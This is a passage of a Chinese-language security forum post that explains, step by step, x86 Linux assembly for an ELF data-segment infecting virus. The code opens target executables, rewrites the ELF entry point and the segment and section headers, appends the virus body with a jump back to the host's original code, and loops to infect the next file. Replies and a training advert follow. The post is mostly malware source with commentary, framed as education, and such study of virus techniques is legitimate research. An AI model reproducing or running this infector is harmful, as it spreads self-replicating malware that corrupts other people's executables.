    mov ecx, 32
    rep movsb   ; 保存目标文件名
    pop edi     ; 恢复伪 .bss
    pop esi     ; 恢复目标偏移
    add esi, 32
  • 保存当前的 esiedi 值,以便恢复。
  • 将文件名的偏移量移动到 ecx 中,准备存储目标文件名。
  • edi 偏移到伪 .bss 中预留的存储目标文件名的空间。
  • 使用 rep movsb 指令将文件名从原始位置复制到伪 .bss 中。
  • 恢复之前保存的 ediesi 值,并更新 esi 以指向下一个目标位置。


关闭文件:

close_file:
    mov eax, 6
    int 80h
  • 使用系统调用 sys_close(调用号 6)关闭当前打开的文件。


2. 返回:

return:
    ret
  • 这条指令用于从当前函数返回。


感染目标文件:

infect:
    cmp esi, 0
    jbe v_stop ; 如果没有目标,跳转到 v_stop
  • 首先检查目标计数(在 esi 中)是否为零。如果是,跳转到 v_stop 结束处理。


获取目标文件名:

sub esi, 32
mov eax, 5              ; sys_open
mov ebx, edi            ; 路径(文件名)
add ebx, 1056           ; 偏移到伪 .bss 中的目标
add ebx, esi            ; 下一目标文件名的偏移
mov ecx, 2              ; O_RDWR(读写模式)
int 80h
  • 减去 32,以获取下一个目标文件名的偏移量。
  • 使用 sys_open 打开目标文件,设置为读写模式。文件名在伪 .bss 的适当位置。


读取文件内容:

mov ebx, eax            ; 保存文件描述符
mov ecx, edi
add ecx, 2080           ; 偏移到目标文件内容
  • 将打开的文件描述符存储在 ebx 中,并准备读取文件内容。


循环读取文件:

reading_loop:
    mov eax, 3              ; sys_read
    mov edx, 1              ; 每次读取1字节
    int 80h

    cmp eax, 0              ; 检查是否到达文件末尾
    je reading_eof
    mov eax, edi
    add eax, 9312           ; 检查文件大小
    cmp ecx, eax
    jge infect              ; 如果文件大于7232字节,停止感染
    add ecx, 1
    jmp reading_loop
  • 使用 sys_read 从文件中逐字节读取,直到到达文件末尾(EOF)。
  • 每次读取 1 字节,可以优化为读取更大的块。
  • 如果已读取字节数达到或超过 7232,跳转回 infect 函数。
  • 否则,继续读取下一个字节。


处理文件末尾:

reading_eof:
    push ecx                ; 存储最后读取字节的地址
    mov eax, 6              ; 关闭文件
    int 80h
  • 如果到达文件末尾,先保存最后读取的字节地址,然后关闭文件。


获取 ELF 文件头信息:

xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44]     ; 获取程序头条目的数量
mov eax, dword [edi+2080+28]   ; 获取程序头的偏移
sub ax, word [edi+2080+42]     ; 初始化循环
  • 重置 ecxeax,准备获取 ELF 文件的头信息。
  • 获取程序头的数量和偏移位置。


程序头循环:

program_header_loop:
    add ax, word [edi+2080+42]  ; 更新偏移,指向下一个程序头
    cmp ecx, 0
    jbe infect                   ; 如果没有找到数据段,跳转到感染
    sub ecx, 1                   ; 减少程序头计数

    mov ebx, dword [edi+2080+eax]  ; 获取程序头的类型
    cmp ebx, 0x01                  ; 检查是否为 PT_LOAD
    jne program_header_loop        ; 如果不是 PT_LOAD,继续查找
  • 增加 ax 的值以更新程序头的偏移量,然后检查剩余的程序头数量。如果没有剩余,跳转到感染处理。
  • 检查当前程序头的类型,如果不是数据段,则继续查找下一个程序头。


找到数据段:

mov ebx, dword [edi+2080+eax+4]  ; 获取当前程序头的偏移
cmp ebx, 0x00                       ; 检查偏移是否为0
je program_header_loop              ; 如果是0,则是文本段,继续查找
  • 获取当前程序头的偏移,如果偏移为0,说明是文本段,则跳转回程序头循环继续查找数据段。


保存旧的入口点并准备插入病毒:

mov ebx, dword [edi+2080+24]     ; 旧的入口点
push ebx                          ; 保存旧的入口点
mov ebx, dword [edi+2080+eax+4]  ; 获取当前程序头的偏移
mov edx, dword [edi+2080+eax+16] ; 获取当前程序头的文件大小
add ebx, edx                      ; 计算病毒的新位置
push ebx                          ; 保存病毒的新偏移
  • 保存当前的入口点,并计算病毒应该插入的位置。


更新 ELF 文件头:

mov ebx, dword [edi+2080+eax+8]  ; 获取虚拟地址
add ebx, edx                      ; 更新入口点
mov ecx, 0x001edd0e              ; 插入病毒的签名
mov [edi+2080+8], ecx             ; 更新 ELF 文件头中的签名
mov [edi+2080+24], ebx            ; 更新入口点
  • 更新 ELF 文件头的入口点和文件头信息,以便在执行时能正确跳转到病毒代码。


更新段信息:

  add edx, v_stop - v_start        ; 增加病毒的大小
  add edx, 7                        ; 为跳转到原始入口点预留空间
  mov [edi+2080+eax+16], edx       ; 更新程序头的文件大小
  mov ebx, dword [edi+2080+eax+20] ; 获取内存段大小
  add ebx, v_stop - v_start        ; 更新内存段大小
  add ebx, 7                        ; 为跳转预留空间
  mov [edi+2080+eax+20], ebx       ; 更新内存段大小
  • 更新程序头的文件和内存大小,以适应新病毒代码的大小。


节头循环:

xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+48]       ; 获取节头数量
mov eax, dword [edi+2080+32]     ; 获取节头偏移
sub ax, word [edi+2080+46]       ; 初始化循环
  • 重置计数器,获取节头的数量和偏移。


找到 .bss 节:

section_header_loop:
    add ax, word [edi+2080+46]      ; 更新节头偏移
    cmp ecx, 0
    jbe finish_infection              ; 如果没有节头,结束感染
    sub ecx, 1                        ; 减少节头计数

    mov ebx, dword [edi+2080+eax+4]  ; 获取节头类型
    cmp ebx, 0x00000008               ; 检查是否为 NOBITS(.bss)
    jne section_header_loop           ; 如果不是,继续查找
  • 遍历节头,寻找 .bss 段。


更新 .bss 节地址:

mov ebx, dword [edi+2080+eax+12] ; 获取当前节的虚拟地址
add ebx, v_stop - v_start         ; 更新虚拟地址
add ebx, 7                        ; 为跳转预留空间
mov [edi+2080+eax+12], ebx       ; 更新节头的地址
  • 一旦找到 .bss 段,更新其虚拟地址,以便包含病毒代码。


更新节头的偏移量:

section_header_loop_2:
    mov edx, dword [edi+2080+eax+16]  ; 获取当前节的偏移
    add edx, v_stop - v_start           ; 添加病毒的大小到偏移
    add edx, 7                          ; 为跳转到原始入口点预留空间
    mov [edi+2080+eax+16], edx         ; 更新节头的偏移量
  • 更新节头的偏移量,将病毒代码的大小加到当前节的偏移上,并为跳转预留空间。


遍历所有节头:

add eax, 40                        ; 移动到下一个节头(假设节头大小为 40 字节)
sub ecx, 1                         ; 减少节头计数
cmp ecx, 0
jg section_header_loop_2           ; 如果还有节头,继续循环
  • 在每个循环中,更新 eax 以指向下一个节头,减少计数,继续处理下一个节头。


完成感染:

finish_infection:
    mov eax, v_stop - v_start           ; 计算病毒的大小
    add eax, 7                          ; 为跳转到原始入口点预留空间
    mov ebx, dword [edi+2080+32]       ; 获取原始节头偏移
    add eax, ebx                        ; 将病毒大小与节头偏移相加
    mov [edi+2080+32], eax              ; 更新节头偏移
  • 计算病毒的大小,并将其与节头偏移相加,从而更新节头的偏移位置。


打开目标文件并写入修改:

    mov eax, 5              ; sys_open
    mov ebx, edi            ; 路径
    add ebx, 1056           ; 偏移到目标文件
    add ebx, esi            ; 下一个文件的偏移
    mov ecx, 2              ; O_RDWR
    int 80h

    mov ebx, eax            ; fd
    mov eax, 4              ; sys_write
    mov ecx, edi
    add ecx, 2080           ; 偏移到目标文件
    pop edx                 ; 恢复之前的主机文件到病毒偏移
    int 80h
  • 打开目标文件并准备写入更新的 ELF 文件内容,首先获取文件描述符,然后通过 sys_write 将修改后的内容写入。


将病毒的偏移存储在文件名缓冲区:

mov [edi+7], edx        ; 将病毒的偏移放入文件名缓冲区的未使用部分
  • 将病毒的偏移量存储在文件名缓冲区的一个未使用位置。


调用后续处理:

call delta_offset


计算 Delta 偏移量:

delta_offset:
    pop ebp                  ; 保存基址指针
    sub ebp, delta_offset    ; 计算当前病毒体的绝对地址与 delta_offset 之间的差值
  • ebp 被用作计算病毒体的地址偏移。delta_offset 是一个标记,表示病毒体在原始文件中的起始位置。通过从当前地址中减去这个标记,得到相对偏移量。


写入病毒部分:

    mov eax, 4
    lea ecx, [ebp + v_start]  ; 计算病毒部分的实际地址
    mov edx, v_stop - v_start ; 获取病毒体的大小
    int 80h                   ; sys_write
  • 使用 sys_write 将病毒的主体写入目标文件。这里使用 lea 指令计算出病毒部分的地址并指定写入的字节数。


保存原始入口点:

    pop edx                   ; 恢复原始入口点
    mov [edi], byte 0xb8      ; MOV EAX 指令的操作码
    mov [edi+1], edx          ; 将原始入口点写入
    mov [edi+5], word 0xe0ff  ; JMP EAX 指令的操作码
  • 恢复原始入口点并将其存储在文件名缓冲区中。使用 MOVJMP 指令将原始入口点设置为病毒运行后的入口点,确保病毒能够在感染后正常执行原始程序。


继续写入:

    mov eax, 4                ; sys_write
    mov ecx, edi              ; 指向文件名的偏移
    mov edx, 7                ; 写入跳转指令的字节数
    int 80h                   ; 执行写入
  • 将跳转指令(7 字节)写入目标文件,确保在病毒执行后能够正确跳转回原始程序。


写入剩余部分:

    mov eax, 4                ; sys_write
    mov ecx, edi
    add ecx, 2080             ; 偏移到目标文件
    mov edx, dword [edi+7]    ; 获取病毒偏移
    add ecx, edx              ; 继续写入病毒的下一个部分

    pop edx                   ; 获取最后字节的偏移
    sub edx, ecx              ; 计算要写入的字节长度
    int 80h                   ; 执行写入
  • 继续将病毒的剩余部分写入目标文件,确保完整性。


同步文件:

mov eax, 36               ; sys_sync
int 80h                   ; 同步文件
  • 使用 sys_sync 确保所有写入操作完成并写入到磁盘。


关闭文件并感染下一个目标:

mov eax, 6                ; sys_close
int 80h                   ; 关闭文件
jmp infect                ; 回到感染循环,查找下一个目标
  • 关闭文件并跳回感染循环,以处理下一个目标文件。


结束病毒体:

v_stop:
    mov eax, 1                ; sys_exit
    mov ebx, 0                ; 正常退出状态
    int 80h                   ; 退出
  • 这段代码标记了病毒体的结束。


基本流程如下图:


对于其他形式的elf段的注入可参考:

text段感染:Linux病毒技术之Silvio填充感染 - 先知社区 (aliyun.com)






[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-10-3 11:51 被k0n9d40编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 32
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
good
2024-10-3 11:49
0
雪    币: 413
活跃值: (637)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
专业,分析的真透彻!现在常规性的病毒不多了。当年的ghost病毒,1465病毒,有时一抓一大把。
2024-10-9 10:26
0
游客
登录 | 注册 方可回帖
返回
//